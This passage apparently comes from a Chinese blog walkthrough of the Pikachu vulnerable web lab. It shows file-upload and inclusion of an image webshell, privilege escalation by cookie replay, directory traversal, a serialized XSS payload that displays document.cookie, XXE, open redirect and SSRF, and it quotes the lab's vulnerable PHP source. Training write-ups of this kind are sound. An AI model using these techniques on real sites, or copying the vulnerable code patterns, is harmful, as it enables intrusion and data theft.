$return_data['filename']=$new_filename; $return_data['return']=true; if(isset($_POST['submit'])){ $type=array('jpg','jpeg','png');//指定类型 $mime=array('image/jpg','image/jpeg','image/png'); $save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹 $upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数 $html.='<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>'; $html.='<p class=notice>{$upload['error']}</p>';
服务器端对文件的上传方式,后缀名,MIME类型,文件图片属性包括大小,尺寸,类型,宽度,高度的具体信息都进行严格的验证,确实挺天衣无缝,但是可以利用前面的文件包含,不管什么格式的文件符合PHP代码规范则会按照PHP解析执行,导致图片马中的<?php phpinfo();?>被执行。
八、越权
1,水平越权
根据提示进行登录,点击个人信息,查看F12的网络包,没有session,修改username的参数值试试,水平越权成功。
源码:
if(isset($_GET['submit']) && $_GET['username']!=null){ $username=escape($link, $_GET['username']); $query='select * from member where username='$username''; $result=execute($link, $query); if(mysqli_num_rows($result)==1){ $data=mysqli_fetch_assoc($result); $uname=$data['username']; $phonenum=$data['phonenum'];
没有将传入的username进行session校验,而是直接使用传入的值查询。
2,水平越权
使用admin管理员登录,发现能进行用户的添加,添加用户,使用burpsuite抓包
添加用户成功,使用pikachu普通用户登录,复制普通用户cookie代替admin的cookie重放数据包
垂直越权成功,普通用户能执行管理员用户添加用户的权限。
源码:
if(!check_op2_login($link) || $_SESSION['op2']['level']!=1){ header('location:op2_login.php'); $id=escape($link, $_GET['id']);//转义 $query='delete from member where id={$id}'; if(isset($_GET['logout']) && $_GET['logout'] == 1){ setcookie(session_name(),'',time()-3600,'/'); header('location:op2_login.php'); if(!check_op2_login($link)){ header('location:op2_login.php'); if(isset($_POST['submit'])){ if($_POST['username']!=null && $_POST['password']!=null){//用户名密码必填 $getdata=escape($link, $_POST);//转义 $query='insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['address']}')'; $result=execute($link, $query); if(mysqli_affected_rows($link)==1){//判断是否插入 header('location:op2_admin.php'); $html.='<p>修改失败,请检查下数据库是不是还是活着的</p>'; if(!check_op2_login($link)){ header('location:op2_login.php'); if(isset($_GET['logout']) && $_GET['logout'] == 1){ setcookie(session_name(),'',time()-3600,'/'); header('location:op2_login.php'); if(isset($_POST['submit'])){ if($_POST['username']!=null && $_POST['password']!=null){ $username=escape($link, $_POST['username']); $password=escape($link, $_POST['password']);//转义,防注入 $query='select * from users where username='$username' and password=md5('$password')'; $result=execute($link, $query); if(mysqli_num_rows($result)==1){ $data=mysqli_fetch_assoc($result); if($data['level']==1){//如果级别是1,进入admin.php $_SESSION['op2']['username']=$username; $_SESSION['op2']['password']=sha1(md5($password)); $_SESSION['op2']['level']=1; header('location:op2_admin.php'); if($data['level']==2){//如果级别是2,进入user.php $_SESSION['op2']['username']=$username; $_SESSION['op2']['password']=sha1(md5($password)); $_SESSION['op2']['level']=2; header('location:op2_user.php'); $html.='<p>登录失败,请重新登录</p>';
根据数据库中的level字段的级别进行判断是admin登录还是普通用户登录,并生成相对应的session存储在服务器端,但是admin_edit进行添加用户时没有对级别level进行判断,导致低级用户重放数据包能进行越权操作。
九、目录遍历
这里只有title的参数能利用了,应该能通过改变title的参数读取到其它的文件。
果然如此,通过修改titile的参数能进行目录遍历读取文件。
源码:
if(isset($_GET['title'])){ $filename=$_GET['title']; require 'soup/$filename';
直接使用了require包含了传入的title参数,跟include一个道理。
include和require的区别如下:
1,include遇到错误产生警告,程序会执行下去,require()会报错,不会再执行程序 。比如require('test.php') echo 1; include('test.php') echo 1; 如果test.php不存在,include会输出1,require不会。
2,require()会将目标文件内容读入,并且把自身代换成读入的内容,通常用于导入静态的内容,include()则适用于导入动态的程序代码,require是无条件包含,放入一个流程里,无论流程成立与否都会先执行require,include一般放在流程控制的处理部分中PHP程序网页读到include文件时,才读入。
十、敏感信息泄露
源代码中有登录账号,登录后发现是abc.php,直接在url中输出abc.php也能访问,逻辑有问题,没有进行登录验证。可以使用中间件或者在访问用户信息url时候验证用户是否登录,否则返回原页面。
十一、PHP反序列化
反序列化更多的指PHP的魔术方法,不恰当的使用了魔术方法,反序列化的内容用户可以控制,导致了安全问题,常见的模数方法如下:
源码分析:
if(!@$unser = unserialize($s)){ $html.='<p>大兄弟,来点劲爆点儿的!</p>'; $html.='<p>{$unser->test}</p>';
类S使用了构造函数_construct,通过反序列POST请求o的参数并赋值给html页面。所以输入O:1:'S':1:{s:4:'test';s:39:'<script>alert(document.cookie)</script>';}
对于序列化字符串的解析:O是指一个对象,S是类名称,s:4是字符串有4个字符即test。
序列化的字符串会被反序列后将<script>alert(document.cookie)</script>嵌入了HTML页面,导致了弹窗。
十一、XXE
具体XXE的知识,可以参考https://mp.csdn.net/mp_blog/creation/editor/124788405。
源码:
if(isset($_POST['submit']) and $_POST['xml'] != null){ $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT); $html.='<pre>{$data}</pre>'; $html.='<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>';
simplexml_load_string(data,classname,options,ns,is_prefix);将函数转换形式良好的XML字符串转换为SimpleXMLElement对象,LIBXML_NOENT指替代实体,即开启外部实体解析
主要是对外部的实体进行了解析,并且将结果渲染到了HTML页面中,造成了信息泄露。
十二、URL重定向
点击第四个,发现存在变量url,将url的值变成某个网址看看。比如将?url=120.79.29.170会跳转。
源码:
if(isset($_GET['url']) && $_GET['url'] != null){ $html.='<p>好的,希望你能坚持做你自己!</p>'; header('location:{$url}');
变量url不为i则直接location跳转到url的地址,应当对参数的值判断,不为i则跳到原页面。
十三、 SSRF(服务端请求伪造)
1、curl
url中使用http协议对文件进行读取,SSRF还可以联合file,gopher,ftp等协议对内网进行扫描或者一些信息读取等。
源码:
if(isset($_GET['url']) && $_GET['url'] != null){ curl_setopt($CH, CURLOPT_HEADER, FALSE); curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);
使用了curl_exec()函数通过PHP对数据进行获取,并且输出返回,明显存在服务端请求伪造,应当对前端的URL进行白名单的过滤。
2,file_get_content
源码:
if(isset($_GET['file']) && $_GET['file'] !=null){ $filename = $_GET['file']; $str = file_get_contents($filename);
使用PHP函数file_get_content()读取文件且未进行白名单过滤
总结、
pikachu靶机都是些简单的漏洞,很简单的手法利用,比较适合新手。
|